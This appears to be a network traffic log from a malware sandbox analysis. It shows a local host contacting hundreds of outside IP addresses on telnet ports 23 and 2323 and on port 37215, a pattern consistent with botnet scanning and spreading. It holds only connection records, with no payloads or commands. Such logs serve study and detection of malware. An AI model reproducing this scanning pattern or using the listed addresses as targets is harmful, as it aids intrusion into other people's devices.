Nov 3, 2024 15:33:04.909990072 CET	23	4833	84.0.30.83	192.168.2.14
Nov 3, 2024 15:33:04.910001040 CET	23	4833	77.151.135.107	192.168.2.14
Nov 3, 2024 15:33:04.910012960 CET	23	4833	144.91.90.166	192.168.2.14
Nov 3, 2024 15:33:04.910022020 CET	23	4833	66.215.68.58	192.168.2.14
Nov 3, 2024 15:33:04.910031080 CET	4833	23	192.168.2.14	139.199.198.94
Nov 3, 2024 15:33:04.910032988 CET	4833	23	192.168.2.14	84.0.30.83
Nov 3, 2024 15:33:04.910058022 CET	4833	23	192.168.2.14	77.151.135.107
Nov 3, 2024 15:33:04.910058022 CET	4833	23	192.168.2.14	66.215.68.58
Nov 3, 2024 15:33:04.910065889 CET	23	4833	74.110.101.68	192.168.2.14
Nov 3, 2024 15:33:04.910077095 CET	2323	4833	108.23.39.191	192.168.2.14
Nov 3, 2024 15:33:04.910088062 CET	23	4833	210.51.227.156	192.168.2.14
Nov 3, 2024 15:33:04.910092115 CET	4833	23	192.168.2.14	144.91.90.166
Nov 3, 2024 15:33:04.910099030 CET	23	4833	136.118.198.225	192.168.2.14
Nov 3, 2024 15:33:04.910109043 CET	23	4833	60.236.199.147	192.168.2.14
Nov 3, 2024 15:33:04.910113096 CET	4833	23	192.168.2.14	74.110.101.68
Nov 3, 2024 15:33:04.910120010 CET	23	4833	63.210.252.79	192.168.2.14
Nov 3, 2024 15:33:04.910140038 CET	4833	23	192.168.2.14	210.51.227.156
Nov 3, 2024 15:33:04.910144091 CET	23	4833	53.69.211.121	192.168.2.14
Nov 3, 2024 15:33:04.910146952 CET	4833	2323	192.168.2.14	108.23.39.191
Nov 3, 2024 15:33:04.910150051 CET	4833	23	192.168.2.14	136.118.198.225
Nov 3, 2024 15:33:04.910150051 CET	4833	23	192.168.2.14	63.210.252.79
Nov 3, 2024 15:33:04.910155058 CET	23	4833	98.238.94.48	192.168.2.14
Nov 3, 2024 15:33:04.910157919 CET	4833	23	192.168.2.14	60.236.199.147
Nov 3, 2024 15:33:04.910165071 CET	23	4833	90.110.12.202	192.168.2.14
Nov 3, 2024 15:33:04.910175085 CET	23	4833	97.146.131.231	192.168.2.14
Nov 3, 2024 15:33:04.910178900 CET	4833	23	192.168.2.14	53.69.211.121
Nov 3, 2024 15:33:04.910187960 CET	2323	4833	62.55.74.20	192.168.2.14
Nov 3, 2024 15:33:04.910193920 CET	4833	23	192.168.2.14	90.110.12.202
Nov 3, 2024 15:33:04.910198927 CET	23	4833	60.7.142.179	192.168.2.14
Nov 3, 2024 15:33:04.910207987 CET	4833	23	192.168.2.14	98.238.94.48
Nov 3, 2024 15:33:04.910208941 CET	23	4833	86.199.157.50	192.168.2.14
Nov 3, 2024 15:33:04.910218000 CET	4833	23	192.168.2.14	97.146.131.231
Nov 3, 2024 15:33:04.910218000 CET	4833	2323	192.168.2.14	62.55.74.20
Nov 3, 2024 15:33:04.910223007 CET	23	4833	106.70.159.58	192.168.2.14
Nov 3, 2024 15:33:04.910224915 CET	52588	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:04.910227060 CET	4833	23	192.168.2.14	60.7.142.179
Nov 3, 2024 15:33:04.910235882 CET	23	4833	75.195.99.74	192.168.2.14
Nov 3, 2024 15:33:04.910248041 CET	23	4833	194.179.150.205	192.168.2.14
Nov 3, 2024 15:33:04.910248995 CET	4833	23	192.168.2.14	86.199.157.50
Nov 3, 2024 15:33:04.910258055 CET	23	4833	201.32.126.56	192.168.2.14
Nov 3, 2024 15:33:04.910265923 CET	4833	23	192.168.2.14	106.70.159.58
Nov 3, 2024 15:33:04.910267115 CET	4833	23	192.168.2.14	75.195.99.74
Nov 3, 2024 15:33:04.910268068 CET	23	4833	59.92.5.166	192.168.2.14
Nov 3, 2024 15:33:04.910279036 CET	23	4833	101.48.54.91	192.168.2.14
Nov 3, 2024 15:33:04.910279989 CET	4833	23	192.168.2.14	194.179.150.205
Nov 3, 2024 15:33:04.910290956 CET	23	4833	5.42.105.157	192.168.2.14
Nov 3, 2024 15:33:04.910304070 CET	4833	23	192.168.2.14	201.32.126.56
Nov 3, 2024 15:33:04.910310030 CET	4833	23	192.168.2.14	59.92.5.166
Nov 3, 2024 15:33:04.910312891 CET	4833	23	192.168.2.14	101.48.54.91
Nov 3, 2024 15:33:04.910362005 CET	4833	23	192.168.2.14	5.42.105.157
Nov 3, 2024 15:33:04.910397053 CET	23	4833	57.215.44.26	192.168.2.14
Nov 3, 2024 15:33:04.910413980 CET	2323	4833	154.2.246.20	192.168.2.14
Nov 3, 2024 15:33:04.910418987 CET	23	4833	209.237.55.219	192.168.2.14
Nov 3, 2024 15:33:04.910423994 CET	23	4833	167.11.207.133	192.168.2.14
Nov 3, 2024 15:33:04.910433054 CET	23	4833	102.138.130.178	192.168.2.14
Nov 3, 2024 15:33:04.910439014 CET	23	4833	77.131.119.1	192.168.2.14
Nov 3, 2024 15:33:04.910465956 CET	4833	23	192.168.2.14	209.237.55.219
Nov 3, 2024 15:33:04.910470963 CET	4833	23	192.168.2.14	57.215.44.26
Nov 3, 2024 15:33:04.910470963 CET	4833	2323	192.168.2.14	154.2.246.20
Nov 3, 2024 15:33:04.910475016 CET	4833	23	192.168.2.14	167.11.207.133
Nov 3, 2024 15:33:04.910475016 CET	4833	23	192.168.2.14	77.131.119.1
Nov 3, 2024 15:33:04.910478115 CET	4833	23	192.168.2.14	102.138.130.178
Nov 3, 2024 15:33:04.910486937 CET	23	4833	177.170.35.55	192.168.2.14
Nov 3, 2024 15:33:04.910502911 CET	23	4833	2.110.22.42	192.168.2.14
Nov 3, 2024 15:33:04.910520077 CET	23	4833	209.2.137.176	192.168.2.14
Nov 3, 2024 15:33:04.910528898 CET	23	4833	222.158.212.91	192.168.2.14
Nov 3, 2024 15:33:04.910535097 CET	4833	23	192.168.2.14	177.170.35.55
Nov 3, 2024 15:33:04.910542011 CET	23	4833	188.30.150.30	192.168.2.14
Nov 3, 2024 15:33:04.910548925 CET	4833	23	192.168.2.14	2.110.22.42
Nov 3, 2024 15:33:04.910557032 CET	4833	23	192.168.2.14	209.2.137.176
Nov 3, 2024 15:33:04.910562992 CET	2323	4833	85.78.74.194	192.168.2.14
Nov 3, 2024 15:33:04.910571098 CET	4833	23	192.168.2.14	222.158.212.91
Nov 3, 2024 15:33:04.910573959 CET	23	4833	124.58.78.7	192.168.2.14
Nov 3, 2024 15:33:04.910593987 CET	23	4833	5.42.44.210	192.168.2.14
Nov 3, 2024 15:33:04.910599947 CET	4833	23	192.168.2.14	188.30.150.30
Nov 3, 2024 15:33:04.910603046 CET	23	4833	130.244.222.18	192.168.2.14
Nov 3, 2024 15:33:04.910605907 CET	4833	23	192.168.2.14	124.58.78.7
Nov 3, 2024 15:33:04.910607100 CET	4833	2323	192.168.2.14	85.78.74.194
Nov 3, 2024 15:33:04.910614014 CET	23	4833	172.213.37.4	192.168.2.14
Nov 3, 2024 15:33:04.910626888 CET	23	4833	195.23.123.40	192.168.2.14
Nov 3, 2024 15:33:04.910638094 CET	23	4833	155.27.182.9	192.168.2.14
Nov 3, 2024 15:33:04.910649061 CET	23	4833	96.49.233.194	192.168.2.14
Nov 3, 2024 15:33:04.910657883 CET	4833	23	192.168.2.14	5.42.44.210
Nov 3, 2024 15:33:04.910657883 CET	4833	23	192.168.2.14	195.23.123.40
Nov 3, 2024 15:33:04.910660028 CET	4833	23	192.168.2.14	172.213.37.4
Nov 3, 2024 15:33:04.910660028 CET	4833	23	192.168.2.14	130.244.222.18
Nov 3, 2024 15:33:04.910661936 CET	23	4833	187.87.221.156	192.168.2.14
Nov 3, 2024 15:33:04.910675049 CET	2323	4833	44.72.215.161	192.168.2.14
Nov 3, 2024 15:33:04.910681963 CET	4833	23	192.168.2.14	155.27.182.9
Nov 3, 2024 15:33:04.910681963 CET	4833	23	192.168.2.14	96.49.233.194
Nov 3, 2024 15:33:04.910685062 CET	23	4833	39.35.87.120	192.168.2.14
Nov 3, 2024 15:33:04.910693884 CET	4833	23	192.168.2.14	187.87.221.156
Nov 3, 2024 15:33:04.910696983 CET	23	4833	110.181.150.96	192.168.2.14
Nov 3, 2024 15:33:04.910707951 CET	23	4833	105.131.239.161	192.168.2.14
Nov 3, 2024 15:33:04.910717964 CET	23	4833	148.243.51.79	192.168.2.14
Nov 3, 2024 15:33:04.910722017 CET	4833	2323	192.168.2.14	44.72.215.161
Nov 3, 2024 15:33:04.910726070 CET	4833	23	192.168.2.14	110.181.150.96
Nov 3, 2024 15:33:04.910726070 CET	4833	23	192.168.2.14	39.35.87.120
Nov 3, 2024 15:33:04.910727024 CET	23	4833	139.174.198.121	192.168.2.14
Nov 3, 2024 15:33:04.910739899 CET	23	4833	210.227.227.106	192.168.2.14
Nov 3, 2024 15:33:04.910746098 CET	4833	23	192.168.2.14	105.131.239.161
Nov 3, 2024 15:33:04.910752058 CET	23	4833	152.225.113.248	192.168.2.14
Nov 3, 2024 15:33:04.910756111 CET	4833	23	192.168.2.14	148.243.51.79
Nov 3, 2024 15:33:04.910769939 CET	4833	23	192.168.2.14	139.174.198.121
Nov 3, 2024 15:33:04.910809040 CET	4833	23	192.168.2.14	152.225.113.248
Nov 3, 2024 15:33:04.910830021 CET	4833	23	192.168.2.14	210.227.227.106
Nov 3, 2024 15:33:04.911007881 CET	23	4833	175.44.195.216	192.168.2.14
Nov 3, 2024 15:33:04.911020994 CET	23	4833	61.135.229.56	192.168.2.14
Nov 3, 2024 15:33:04.911031961 CET	23	4833	83.116.211.136	192.168.2.14
Nov 3, 2024 15:33:04.911051989 CET	4833	23	192.168.2.14	175.44.195.216
Nov 3, 2024 15:33:04.911051989 CET	4833	23	192.168.2.14	61.135.229.56
Nov 3, 2024 15:33:04.911068916 CET	23	4833	58.214.102.107	192.168.2.14
Nov 3, 2024 15:33:04.911075115 CET	4833	23	192.168.2.14	83.116.211.136
Nov 3, 2024 15:33:04.911082983 CET	2323	4833	48.227.176.2	192.168.2.14
Nov 3, 2024 15:33:04.911099911 CET	23	4833	165.245.234.126	192.168.2.14
Nov 3, 2024 15:33:04.911109924 CET	23	4833	76.162.75.177	192.168.2.14
Nov 3, 2024 15:33:04.911112070 CET	4833	23	192.168.2.14	58.214.102.107
Nov 3, 2024 15:33:04.911122084 CET	23	4833	176.1.146.173	192.168.2.14
Nov 3, 2024 15:33:04.911128044 CET	4833	2323	192.168.2.14	48.227.176.2
Nov 3, 2024 15:33:04.911135912 CET	23	4833	94.254.245.36	192.168.2.14
Nov 3, 2024 15:33:04.911135912 CET	4833	23	192.168.2.14	165.245.234.126
Nov 3, 2024 15:33:04.911148071 CET	23	4833	68.80.131.47	192.168.2.14
Nov 3, 2024 15:33:04.911149025 CET	4833	23	192.168.2.14	76.162.75.177
Nov 3, 2024 15:33:04.911159992 CET	23	4833	210.149.32.125	192.168.2.14
Nov 3, 2024 15:33:04.911173105 CET	23	4833	178.157.168.235	192.168.2.14
Nov 3, 2024 15:33:04.911185026 CET	23	4833	32.66.199.163	192.168.2.14
Nov 3, 2024 15:33:04.911185980 CET	4833	23	192.168.2.14	94.254.245.36
Nov 3, 2024 15:33:04.911185980 CET	4833	23	192.168.2.14	68.80.131.47
Nov 3, 2024 15:33:04.911192894 CET	42332	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:04.911195040 CET	4833	23	192.168.2.14	210.149.32.125
Nov 3, 2024 15:33:04.911202908 CET	4833	23	192.168.2.14	178.157.168.235
Nov 3, 2024 15:33:04.911205053 CET	23	4833	178.128.13.127	192.168.2.14
Nov 3, 2024 15:33:04.911207914 CET	4833	23	192.168.2.14	176.1.146.173
Nov 3, 2024 15:33:04.911216974 CET	2323	4833	39.106.100.76	192.168.2.14
Nov 3, 2024 15:33:04.911226988 CET	23	4833	8.132.214.71	192.168.2.14
Nov 3, 2024 15:33:04.911227942 CET	4833	23	192.168.2.14	32.66.199.163
Nov 3, 2024 15:33:04.911238909 CET	23	4833	156.190.159.48	192.168.2.14
Nov 3, 2024 15:33:04.911252022 CET	23	4833	166.29.122.104	192.168.2.14
Nov 3, 2024 15:33:04.911253929 CET	4833	2323	192.168.2.14	39.106.100.76
Nov 3, 2024 15:33:04.911254883 CET	4833	23	192.168.2.14	178.128.13.127
Nov 3, 2024 15:33:04.911262989 CET	23	4833	101.249.222.251	192.168.2.14
Nov 3, 2024 15:33:04.911268950 CET	4833	23	192.168.2.14	8.132.214.71
Nov 3, 2024 15:33:04.911273003 CET	23	4833	113.152.226.173	192.168.2.14
Nov 3, 2024 15:33:04.911273956 CET	4833	23	192.168.2.14	156.190.159.48
Nov 3, 2024 15:33:04.911283016 CET	23	4833	114.115.12.231	192.168.2.14
Nov 3, 2024 15:33:04.911288977 CET	4833	23	192.168.2.14	166.29.122.104
Nov 3, 2024 15:33:04.911293983 CET	23	4833	19.76.85.34	192.168.2.14
Nov 3, 2024 15:33:04.911302090 CET	4833	23	192.168.2.14	113.152.226.173
Nov 3, 2024 15:33:04.911303997 CET	4833	23	192.168.2.14	101.249.222.251
Nov 3, 2024 15:33:04.911305904 CET	2323	4833	59.182.137.248	192.168.2.14
Nov 3, 2024 15:33:04.911331892 CET	4833	23	192.168.2.14	19.76.85.34
Nov 3, 2024 15:33:04.911335945 CET	23	4833	129.7.252.159	192.168.2.14
Nov 3, 2024 15:33:04.911345959 CET	23	4833	85.111.19.53	192.168.2.14
Nov 3, 2024 15:33:04.911348104 CET	4833	23	192.168.2.14	114.115.12.231
Nov 3, 2024 15:33:04.911348104 CET	4833	2323	192.168.2.14	59.182.137.248
Nov 3, 2024 15:33:04.911355972 CET	23	4833	120.203.233.202	192.168.2.14
Nov 3, 2024 15:33:04.911367893 CET	23	4833	154.232.251.175	192.168.2.14
Nov 3, 2024 15:33:04.911370993 CET	4833	23	192.168.2.14	129.7.252.159
Nov 3, 2024 15:33:04.911379099 CET	23	4833	174.53.11.90	192.168.2.14
Nov 3, 2024 15:33:04.911380053 CET	4833	23	192.168.2.14	85.111.19.53
Nov 3, 2024 15:33:04.911396980 CET	4833	23	192.168.2.14	120.203.233.202
Nov 3, 2024 15:33:04.911401033 CET	23	4833	70.19.223.90	192.168.2.14
Nov 3, 2024 15:33:04.911410093 CET	4833	23	192.168.2.14	154.232.251.175
Nov 3, 2024 15:33:04.911420107 CET	4833	23	192.168.2.14	174.53.11.90
Nov 3, 2024 15:33:04.911436081 CET	23	4833	203.88.14.247	192.168.2.14
Nov 3, 2024 15:33:04.911447048 CET	4833	23	192.168.2.14	70.19.223.90
Nov 3, 2024 15:33:04.911467075 CET	23	4833	208.101.181.200	192.168.2.14
Nov 3, 2024 15:33:04.911477089 CET	23	4833	42.21.68.14	192.168.2.14
Nov 3, 2024 15:33:04.911478043 CET	4833	23	192.168.2.14	203.88.14.247
Nov 3, 2024 15:33:04.911488056 CET	23	4833	124.67.38.34	192.168.2.14
Nov 3, 2024 15:33:04.911509991 CET	4833	23	192.168.2.14	208.101.181.200
Nov 3, 2024 15:33:04.911513090 CET	23	4833	46.147.100.38	192.168.2.14
Nov 3, 2024 15:33:04.911520958 CET	4833	23	192.168.2.14	42.21.68.14
Nov 3, 2024 15:33:04.911523104 CET	4833	23	192.168.2.14	124.67.38.34
Nov 3, 2024 15:33:04.911525965 CET	23	4833	4.178.165.116	192.168.2.14
Nov 3, 2024 15:33:04.911540985 CET	23	4833	98.185.142.113	192.168.2.14
Nov 3, 2024 15:33:04.911550999 CET	4833	23	192.168.2.14	46.147.100.38
Nov 3, 2024 15:33:04.911554098 CET	4833	23	192.168.2.14	4.178.165.116
Nov 3, 2024 15:33:04.911556005 CET	23	4833	191.111.208.61	192.168.2.14
Nov 3, 2024 15:33:04.911566973 CET	23	4833	32.59.98.202	192.168.2.14
Nov 3, 2024 15:33:04.911575079 CET	4833	23	192.168.2.14	98.185.142.113
Nov 3, 2024 15:33:04.911582947 CET	2323	4833	93.85.226.130	192.168.2.14
Nov 3, 2024 15:33:04.911592960 CET	23	4833	100.226.228.129	192.168.2.14
Nov 3, 2024 15:33:04.911600113 CET	4833	23	192.168.2.14	191.111.208.61
Nov 3, 2024 15:33:04.911601067 CET	4833	23	192.168.2.14	32.59.98.202
Nov 3, 2024 15:33:04.911603928 CET	23	4833	66.179.36.80	192.168.2.14
Nov 3, 2024 15:33:04.911616087 CET	23	4833	206.101.190.81	192.168.2.14
Nov 3, 2024 15:33:04.911623955 CET	4833	2323	192.168.2.14	93.85.226.130
Nov 3, 2024 15:33:04.911627054 CET	2323	4833	32.238.67.83	192.168.2.14
Nov 3, 2024 15:33:04.911639929 CET	23	4833	205.158.110.126	192.168.2.14
Nov 3, 2024 15:33:04.911639929 CET	4833	23	192.168.2.14	66.179.36.80
Nov 3, 2024 15:33:04.911648035 CET	4833	23	192.168.2.14	206.101.190.81
Nov 3, 2024 15:33:04.911653996 CET	4833	23	192.168.2.14	100.226.228.129
Nov 3, 2024 15:33:04.911675930 CET	23	4833	198.43.147.245	192.168.2.14
Nov 3, 2024 15:33:04.911688089 CET	23	4833	126.161.82.178	192.168.2.14
Nov 3, 2024 15:33:04.911691904 CET	4833	23	192.168.2.14	205.158.110.126
Nov 3, 2024 15:33:04.911693096 CET	4833	2323	192.168.2.14	32.238.67.83
Nov 3, 2024 15:33:04.911696911 CET	23	4833	112.0.126.100	192.168.2.14
Nov 3, 2024 15:33:04.911706924 CET	23	4833	67.90.202.22	192.168.2.14
Nov 3, 2024 15:33:04.911705017 CET	4833	23	192.168.2.14	126.161.82.178
Nov 3, 2024 15:33:04.911711931 CET	4833	23	192.168.2.14	198.43.147.245
Nov 3, 2024 15:33:04.911719084 CET	23	4833	84.250.72.195	192.168.2.14
Nov 3, 2024 15:33:04.911727905 CET	23	4833	5.13.85.215	192.168.2.14
Nov 3, 2024 15:33:04.911731958 CET	23	4833	209.71.80.164	192.168.2.14
Nov 3, 2024 15:33:04.911736012 CET	23	4833	90.53.56.91	192.168.2.14
Nov 3, 2024 15:33:04.911737919 CET	4833	23	192.168.2.14	112.0.126.100
Nov 3, 2024 15:33:04.911746025 CET	2323	4833	158.41.200.150	192.168.2.14
Nov 3, 2024 15:33:04.911752939 CET	4833	23	192.168.2.14	67.90.202.22
Nov 3, 2024 15:33:04.911757946 CET	23	4833	42.37.150.245	192.168.2.14
Nov 3, 2024 15:33:04.911761999 CET	4833	23	192.168.2.14	90.53.56.91
Nov 3, 2024 15:33:04.911767960 CET	23	4833	218.146.141.134	192.168.2.14
Nov 3, 2024 15:33:04.911771059 CET	4833	23	192.168.2.14	5.13.85.215
Nov 3, 2024 15:33:04.911773920 CET	4833	23	192.168.2.14	84.250.72.195
Nov 3, 2024 15:33:04.911775112 CET	4833	2323	192.168.2.14	158.41.200.150
Nov 3, 2024 15:33:04.911780119 CET	4833	23	192.168.2.14	209.71.80.164
Nov 3, 2024 15:33:04.911781073 CET	23	4833	48.1.203.9	192.168.2.14
Nov 3, 2024 15:33:04.911796093 CET	4833	23	192.168.2.14	42.37.150.245
Nov 3, 2024 15:33:04.911799908 CET	4833	23	192.168.2.14	218.146.141.134
Nov 3, 2024 15:33:04.911801100 CET	23	4833	19.200.228.227	192.168.2.14
Nov 3, 2024 15:33:04.911812067 CET	23	4833	101.205.123.21	192.168.2.14
Nov 3, 2024 15:33:04.911819935 CET	4833	23	192.168.2.14	48.1.203.9
Nov 3, 2024 15:33:04.911820889 CET	23	4833	98.100.208.141	192.168.2.14
Nov 3, 2024 15:33:04.911832094 CET	23	4833	8.198.49.92	192.168.2.14
Nov 3, 2024 15:33:04.911843061 CET	23	4833	93.3.198.251	192.168.2.14
Nov 3, 2024 15:33:04.911844015 CET	4833	23	192.168.2.14	19.200.228.227
Nov 3, 2024 15:33:04.911854982 CET	23	4833	154.58.69.181	192.168.2.14
Nov 3, 2024 15:33:04.911858082 CET	4833	23	192.168.2.14	98.100.208.141
Nov 3, 2024 15:33:04.911864042 CET	4833	23	192.168.2.14	8.198.49.92
Nov 3, 2024 15:33:04.911865950 CET	23	4833	41.189.19.34	192.168.2.14
Nov 3, 2024 15:33:04.911880016 CET	2323	36646	19.212.23.128	192.168.2.14
Nov 3, 2024 15:33:04.911885977 CET	4833	23	192.168.2.14	93.3.198.251
Nov 3, 2024 15:33:04.911894083 CET	4833	23	192.168.2.14	41.189.19.34
Nov 3, 2024 15:33:04.911897898 CET	4833	23	192.168.2.14	154.58.69.181
Nov 3, 2024 15:33:04.911897898 CET	4833	23	192.168.2.14	101.205.123.21
Nov 3, 2024 15:33:04.911916018 CET	23	42326	180.89.225.190	192.168.2.14
Nov 3, 2024 15:33:04.911930084 CET	36646	2323	192.168.2.14	19.212.23.128
Nov 3, 2024 15:33:04.911958933 CET	42326	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:04.912035942 CET	44450	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:04.912833929 CET	50190	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:04.912930965 CET	23	44440	173.42.154.129	192.168.2.14
Nov 3, 2024 15:33:04.912981987 CET	44440	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:04.913883924 CET	45076	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:04.914489031 CET	23	33708	146.184.36.238	192.168.2.14
Nov 3, 2024 15:33:04.914537907 CET	33708	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:04.915069103 CET	53056	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:04.915556908 CET	23	52588	82.233.136.38	192.168.2.14
Nov 3, 2024 15:33:04.915599108 CET	52588	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:04.916019917 CET	42666	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:04.916793108 CET	23	42332	200.122.147.32	192.168.2.14
Nov 3, 2024 15:33:04.916834116 CET	42332	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:04.917079926 CET	52072	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:04.917768955 CET	23	44450	77.222.124.20	192.168.2.14
Nov 3, 2024 15:33:04.917813063 CET	44450	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:04.917825937 CET	23	50190	104.59.145.38	192.168.2.14
Nov 3, 2024 15:33:04.917881012 CET	50190	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:04.917965889 CET	35428	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:04.918880939 CET	23	45076	174.169.170.73	192.168.2.14
Nov 3, 2024 15:33:04.918976068 CET	45076	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:04.919022083 CET	42490	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:04.920047998 CET	23	53056	73.195.214.90	192.168.2.14
Nov 3, 2024 15:33:04.920094967 CET	36206	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:04.920108080 CET	53056	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:04.920931101 CET	2323	42666	67.206.244.155	192.168.2.14
Nov 3, 2024 15:33:04.920969009 CET	58440	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:04.920980930 CET	42666	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:04.921578884 CET	4847	37215	192.168.2.14	156.40.3.30
Nov 3, 2024 15:33:04.921580076 CET	4847	37215	192.168.2.14	156.248.28.189
Nov 3, 2024 15:33:04.921587944 CET	4847	37215	192.168.2.14	197.127.50.139
Nov 3, 2024 15:33:04.921587944 CET	4847	37215	192.168.2.14	197.142.215.16
Nov 3, 2024 15:33:04.921587944 CET	4847	37215	192.168.2.14	197.137.164.123
Nov 3, 2024 15:33:04.921590090 CET	4847	37215	192.168.2.14	41.45.199.175
Nov 3, 2024 15:33:04.921607971 CET	4847	37215	192.168.2.14	156.84.192.114
Nov 3, 2024 15:33:04.921607971 CET	4847	37215	192.168.2.14	197.65.91.60
Nov 3, 2024 15:33:04.921619892 CET	4847	37215	192.168.2.14	41.134.34.152
Nov 3, 2024 15:33:04.921622992 CET	4847	37215	192.168.2.14	156.176.82.138
Nov 3, 2024 15:33:04.921627045 CET	4847	37215	192.168.2.14	197.109.102.223
Nov 3, 2024 15:33:04.921629906 CET	4847	37215	192.168.2.14	197.85.225.137
Nov 3, 2024 15:33:04.921629906 CET	4847	37215	192.168.2.14	41.249.92.183
Nov 3, 2024 15:33:04.921643019 CET	4847	37215	192.168.2.14	41.135.132.93
Nov 3, 2024 15:33:04.921670914 CET	4847	37215	192.168.2.14	156.54.126.119
Nov 3, 2024 15:33:04.921670914 CET	4847	37215	192.168.2.14	197.72.3.92
Nov 3, 2024 15:33:04.921672106 CET	4847	37215	192.168.2.14	41.141.230.147
Nov 3, 2024 15:33:04.921674013 CET	4847	37215	192.168.2.14	156.165.72.148
Nov 3, 2024 15:33:04.921679020 CET	4847	37215	192.168.2.14	197.40.123.34
Nov 3, 2024 15:33:04.921679020 CET	4847	37215	192.168.2.14	41.77.153.105
Nov 3, 2024 15:33:04.921679020 CET	4847	37215	192.168.2.14	41.2.41.57
Nov 3, 2024 15:33:04.921685934 CET	4847	37215	192.168.2.14	41.164.165.123
Nov 3, 2024 15:33:04.921685934 CET	4847	37215	192.168.2.14	41.100.5.223
Nov 3, 2024 15:33:04.921686888 CET	4847	37215	192.168.2.14	41.38.234.247
Nov 3, 2024 15:33:04.921686888 CET	4847	37215	192.168.2.14	197.21.13.164
Nov 3, 2024 15:33:04.921689987 CET	4847	37215	192.168.2.14	156.190.186.152
Nov 3, 2024 15:33:04.921690941 CET	4847	37215	192.168.2.14	156.152.90.251
Nov 3, 2024 15:33:04.921690941 CET	4847	37215	192.168.2.14	41.5.108.195
Nov 3, 2024 15:33:04.921693087 CET	4847	37215	192.168.2.14	197.170.13.51
Nov 3, 2024 15:33:04.921700954 CET	4847	37215	192.168.2.14	156.89.208.147
Nov 3, 2024 15:33:04.921700954 CET	4847	37215	192.168.2.14	197.253.90.85
Nov 3, 2024 15:33:04.921701908 CET	4847	37215	192.168.2.14	197.177.65.184
Nov 3, 2024 15:33:04.921701908 CET	4847	37215	192.168.2.14	41.182.162.23
Nov 3, 2024 15:33:04.921701908 CET	4847	37215	192.168.2.14	41.255.213.166
Nov 3, 2024 15:33:04.921704054 CET	4847	37215	192.168.2.14	41.43.201.40
Nov 3, 2024 15:33:04.921709061 CET	4847	37215	192.168.2.14	197.246.202.33
Nov 3, 2024 15:33:04.921709061 CET	4847	37215	192.168.2.14	156.66.179.174
Nov 3, 2024 15:33:04.921710968 CET	4847	37215	192.168.2.14	41.77.222.65
Nov 3, 2024 15:33:04.921713114 CET	4847	37215	192.168.2.14	41.29.237.176
Nov 3, 2024 15:33:04.921713114 CET	4847	37215	192.168.2.14	41.182.138.44
Nov 3, 2024 15:33:04.921713114 CET	4847	37215	192.168.2.14	41.28.217.127
Nov 3, 2024 15:33:04.921713114 CET	4847	37215	192.168.2.14	41.101.148.240
Nov 3, 2024 15:33:04.921713114 CET	4847	37215	192.168.2.14	156.119.90.145
Nov 3, 2024 15:33:04.921719074 CET	4847	37215	192.168.2.14	41.16.184.126
Nov 3, 2024 15:33:04.921719074 CET	4847	37215	192.168.2.14	156.0.95.142
Nov 3, 2024 15:33:04.921720028 CET	4847	37215	192.168.2.14	156.17.27.92
Nov 3, 2024 15:33:04.921721935 CET	4847	37215	192.168.2.14	197.36.63.33
Nov 3, 2024 15:33:04.921741009 CET	4847	37215	192.168.2.14	156.100.168.13
Nov 3, 2024 15:33:04.921741962 CET	4847	37215	192.168.2.14	41.155.34.109
Nov 3, 2024 15:33:04.921746016 CET	4847	37215	192.168.2.14	197.240.206.147
Nov 3, 2024 15:33:04.921747923 CET	4847	37215	192.168.2.14	197.182.169.247
Nov 3, 2024 15:33:04.921758890 CET	4847	37215	192.168.2.14	41.212.204.137
Nov 3, 2024 15:33:04.921758890 CET	4847	37215	192.168.2.14	156.46.10.176
Nov 3, 2024 15:33:04.921773911 CET	4847	37215	192.168.2.14	197.218.32.3
Nov 3, 2024 15:33:04.921773911 CET	4847	37215	192.168.2.14	41.239.71.126
Nov 3, 2024 15:33:04.921777964 CET	4847	37215	192.168.2.14	41.238.143.221
Nov 3, 2024 15:33:04.921778917 CET	4847	37215	192.168.2.14	156.42.189.236
Nov 3, 2024 15:33:04.921778917 CET	4847	37215	192.168.2.14	197.153.80.40
Nov 3, 2024 15:33:04.921780109 CET	4847	37215	192.168.2.14	197.229.196.212
Nov 3, 2024 15:33:04.921778917 CET	4847	37215	192.168.2.14	197.194.22.133
Nov 3, 2024 15:33:04.921778917 CET	4847	37215	192.168.2.14	41.70.149.241
Nov 3, 2024 15:33:04.921778917 CET	4847	37215	192.168.2.14	197.14.148.65
Nov 3, 2024 15:33:04.921786070 CET	4847	37215	192.168.2.14	197.221.43.139
Nov 3, 2024 15:33:04.921799898 CET	4847	37215	192.168.2.14	197.183.87.207
Nov 3, 2024 15:33:04.921799898 CET	4847	37215	192.168.2.14	197.145.22.71
Nov 3, 2024 15:33:04.921807051 CET	4847	37215	192.168.2.14	41.209.207.161
Nov 3, 2024 15:33:04.921807051 CET	4847	37215	192.168.2.14	197.251.248.56
Nov 3, 2024 15:33:04.921808958 CET	4847	37215	192.168.2.14	41.255.13.170
Nov 3, 2024 15:33:04.921819925 CET	4847	37215	192.168.2.14	197.10.248.18
Nov 3, 2024 15:33:04.921821117 CET	4847	37215	192.168.2.14	156.91.204.199
Nov 3, 2024 15:33:04.921821117 CET	4847	37215	192.168.2.14	156.207.53.207
Nov 3, 2024 15:33:04.921828032 CET	23	52072	150.56.169.84	192.168.2.14
Nov 3, 2024 15:33:04.921828985 CET	4847	37215	192.168.2.14	197.220.209.81
